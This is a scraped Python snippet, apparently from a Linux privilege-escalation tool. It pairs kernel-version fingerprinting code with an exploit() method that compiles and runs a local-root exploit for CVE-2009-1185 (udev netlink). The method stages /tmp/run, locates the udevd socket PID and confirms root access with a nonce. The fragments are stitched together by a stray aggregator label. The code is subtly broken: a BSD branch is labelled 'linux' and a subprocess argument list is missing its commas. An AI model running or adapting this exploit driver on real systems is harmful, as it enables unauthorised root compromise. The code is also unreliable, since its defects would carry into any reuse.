                k_release = int(k_full_version[2])
                k_architecture = kernel_version.split(" ")[-1]

                # replace any bad architecture parses
                for architecture in ["x86", "i686", "amd64", "x86_64"]:
                    if architecture in kernel_version:
                        k_architecture = architecture

                return k_type, k_distro, k_name, k_major, k_minor, k_release, k_architecture, kernel_version
            else:
                color_print("[+] underlying os identified as a BSD variant")
                k_type = "linux"
                k_distro = self.parse_distro(kernel_version)
                k_name = kernel_version.split("-")[0]
                k_full_version = kernel_version.split("-")[1].split(".")
                while len(k_full_version) < 3:
                    k_full_version.append("0")
                k_full_version = clean_parsed_version(k_full_version)

                k_major = int(k_full_version[0])
                k_minor = int(k_full_version[1])
                k_release = int(k_full_version[2])
                k_architecture = kernel_version.split("-")[2]
                # replace any bad architecture parses
                for architecture in ["x86", "i686", "amd64", "x86_64"]:
                    if architecture in kernel_version:
                        k_architecture = architecture

                return k_type, k_distro, k_name, k_major, k_minor, k_release, k_architecture, kernel_version

        # don't know what we're on
        else:
            color_print("[-] could not identify underlying os", color="red")
            exit(1)
Beispiel #26
0
    def exploit(self):
        color_print("\t[*] attempting to exploit {}".format(self.name),
                    bold=True)
        vuln = self.determine_vulnerability()
        if vuln:
            color_print("\t[*] compiling: \'{}\'".format(" ".join(
                self.compilation_command)))
            return_code = subprocess.call(self.compilation_command)
            if return_code == 0 and os.path.exists(
                    self.compilation_path
            ):  # TODO: complete command setup (find proc numb...etc)
                color_print("\t[*] setting up /tmp/run for execution ...")
                root_nonce = uuid.uuid4().hex
                tmp_run = """
#!/bin/bash
echo {} > /tmp/nonce			
				""".format(root_nonce)
                # write tmp_run to /tmp/run
                with open("/tmp/run", 'w') as run_file:
                    run_file.write(tmp_run)

                color_print("\t[*] identifying udevd netlink socket PID ...")
                call_result = self.shell_results(
                    ["ps", "aux"
                     "|"
                     "grep"
                     "udevd"])[0].decode('utf-8').split("\n")
                socket_pid = self.parse_udevd_netlink_socket_from_grep(
                    call_result)
                if socket_pid == 0:
                    self.exploit_failure(
                        "could not get udevd netlink socket PID")
                else:
                    color_print(
                        "\t[*] running compiled exploit with necessary args")
                    subprocess.call(self.exploit_command)
                    if self.confirm_exploitation(root_nonce):
                        color_print(
                            "\t[+] exploitation of CVE20091185 successful!",
                            color="green",
                            bold=True)
                    else:
                        self.exploit_failure("no exploitation output")
        else:
            self.exploit_failure("not vulnerable to CVE20091185")